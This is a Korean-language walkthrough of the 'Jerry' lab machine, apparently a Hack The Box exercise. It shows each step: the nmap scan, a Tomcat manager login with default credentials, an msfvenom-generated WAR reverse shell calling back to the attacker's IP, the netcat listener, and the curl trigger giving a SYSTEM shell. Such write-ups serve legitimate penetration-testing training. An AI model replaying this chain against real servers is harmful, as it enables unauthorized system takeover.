1. 정찰
1.1. nmap
nmap 을 정찰한다. 8080번 포트에 tomcat service 가 존재하는 것을 확인할 수 있다.
┌──(root㉿kali)-[/home/kali/labs/Jerry]
└─# nmap -sC -sV 10.129.48.171
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-29 17:55 +04
Nmap scan report for 10.129.48.171
Host is up (0.35s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.04 seconds
1.2. tomcat service 접근
tomcat 에 접근하면 /manager 경로가 기본적인 경로이다. 해당 경로를 통해 tomcat 의 ID와 s3cret 의 비밀번호를 입력해 준다. 이는 기본적인 비밀번호이기 때문에 알고 있다고 가정한다. 이것이 아니더라도 metasploit 을 통해서 bruteforce 공격을 통해 접근해볼 수도 있다.
2. 내부망 침투
2.1. war 파일 업로드
해당 페이지에 접근이 성공한다면 war 파일을 deploy 할 수 있는 버튼이 나온다. 우리는 해당 파일을 msfvenom 을 통해서 생성한다.
┌──(root㉿kali)-[/home/kali/labs/Jerry]
└─# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.143 LPORT=9002 -f war > rev_shell-9002.war
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of war file: 52305 bytes
┌──(root㉿kali)-[/home/kali/labs/Jerry]
└─# ls
rev_shell-9002.war
해당 파일의 내부를 확인해 보면 ctrvfobuy.jsp 가 존재함을 알 수 있다. 그리고 해당 파일을 업로드 한다.
┌──(root㉿kali)-[/home/kali/labs/Jerry]
└─# jar -ft rev_shell-9002.war
META-INF/
META-INF/MANIFEST.MF
WEB-INF/
WEB-INF/web.xml
ctrvfobuy.jsp
2.2. 리버스 쉘 커넥션
리버스 쉘을 맺기 위해 9002 번 포트를 kali 에서 개방한다.
┌──(root㉿kali)-[/home/kali/labs/forest/forest-2]
└─# nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.48.171] 49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
그리고 위에서 확인한 파일을 통해 경로로 접근한다.
┌──(root㉿kali)-[/home/kali/labs/Jerry]
└─# curl http://10.129.48.171:8080/rev_shell-9002/ctrvfobuy.jsp
결과적으로 플래그를 획득할 수 있다.
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,419,417,088 bytes free
C:\Users\Administrator\Desktop\flags>type 2*
type 2*
2 for the price of 1.txt
user.txt
***
root.txt
***
C:\Users\Administrator\Desktop\flags>